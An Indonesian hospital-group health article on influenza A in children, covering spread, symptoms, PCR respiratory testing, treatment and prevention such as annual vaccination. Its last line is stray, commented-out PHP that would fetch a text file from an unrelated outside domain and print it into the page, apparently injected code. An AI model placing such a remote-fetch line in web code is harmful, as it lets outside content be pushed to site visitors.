Ketika Flu Biasa Berubah Serius: Waspadai Influenza A pada Anak

Ketika Flu Biasa Berubah Serius: Waspadai Influenza A pada Anak

 

Ibu mengukur suhu tubuh anak yang demam sebagai deteksi awal influenza A Ibu mengukur suhu tubuh anak untuk memantau demam dan mendeteksi gejala influenza A sejak awal. Foto: Pexels/ MART PRODUCTION

Influenza A adalah infeksi virus pernapasan yang sering menyerang anak-anak dan dapat menimbulkan gejala lebih berat dibandingkan flu biasa. Menurut dokter umum dari RS Pondok Indah – Pondok Indah, dr. Hastomo Prabowo, MARS, “Influenza A memiliki kemampuan bermutasi dengan cepat sehingga penularannya lebih mudah dan risikonya terhadap anak jauh lebih tinggi, terutama ketika daya tahan tubuh sedang menurun.”

Virus influenza A dapat menyebar melalui droplet dari batuk, bersin, atau percakapan jarak dekat. Anak-anak menjadi kelompok yang paling rentan karena aktivitas sosial yang tinggi, sering menyentuh banyak permukaan, serta kebiasaan belum sepenuhnya terkontrol untuk menjaga kebersihan diri.

Selain itu, influenza A berbeda dari influenza B yang hanya menular antar manusia. Virus influenza A dapat menular dari hewan ke manusia, membuat karakteristik penyebarannya lebih kompleks. Hastomo menegaskan, “Inilah mengapa virus ini lebih mudah menyebar luas dan berpotensi memicu wabah, bahkan pandemi.”

Gejala khas influenza A pada anak dapat muncul mendadak 1–4 hari setelah terpapar, antara lain:

- Demam tinggi hingga 39–40°C

- Batuk kering atau berdahak

- Sakit tenggorokan dan pilek

- Nyeri otot dan sendi

- Menggigil

- Sakit kepala

- Kelelahan

- Mual, muntah, atau diare

Penting untuk membedakan influenza dengan common cold, mengingat influenza A dapat berkembang menjadi pneumonia pada sebagian kasus. “Banyak orang tua menganggap influenza akan sembuh sendiri, padahal anak bisa mengalami penurunan kondisi cukup cepat,” ujar dr. Hastomo.

Deteksi Cepat dan Penanganan Tepat Hindari Komplikasi


Mendiagnosis influenza A tidak dapat bergantung pada gejala saja karena influenza A dan B memiliki tampilan klinis yang hampir serupa. Pemeriksaan laboratorium menjadi langkah penting untuk memastikan diagnosis.

“Pemeriksaan Respiratory Syndromic Testing (RST) sangat membantu karena mampu mengidentifikasi 19 virus dan 4 bakteri penyebab infeksi napas, termasuk influenza A, RSV, dan HMPV, dalam satu kali tes,” jelas  Hastomo. Pemeriksaan berbasis PCR ini dapat memberikan hasil cepat serta akurat.

Setelah diagnosis ditegakkan, dokter akan memberikan obat penurun demam, pereda nyeri, dan antivirus khusus untuk mencegah komplikasi. Pada kasus ringan, anak umumnya pulih dalam 5–7 hari. Namun istirahat cukup, makanan tinggi protein dan kalori, serta kecukupan cairan tetap menjadi kunci pemulihan optimal.

“Pencegahan tetap jauh lebih baik,” tutur Hastomo sambil menjelaskan langkah-langkah penting pencegahan terpapar virus influenza A, yang meliputi:

- Vaksinasi influenza tahunan

- Mencuci tangan dengan sabun dan air mengalir

- Menghindari menyentuh wajah

- Menggunakan masker di area publik

- Menutup mulut dan hidung saat batuk atau bersin

- Pola makan bergizi seimbang

- Tidur cukup dan aktivitas fisik rutin

Melalui vaksinasi, risiko infeksi dan tingkat keparahan gejala dapat ditekan signifikan, terutama bagi anak dengan kondisi medis tertentu atau imunitas rentan.

Sumber: Rumah Sakit Pondok Indah Group
Penulis: Laili
Baca juga:

Bagaimana Polusi Udara dan Asap Rokok Menghambat Perkembangan Anak? Begini Penjelasan IDAI!
Pijat Ampuh Mengatasi Flu Bayi
Pilek dan Flu Bikin Anak Alami Infeksi Telinga?

 


Topic

#WaspadaFlu #SehatBersama #InfluenzaA



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>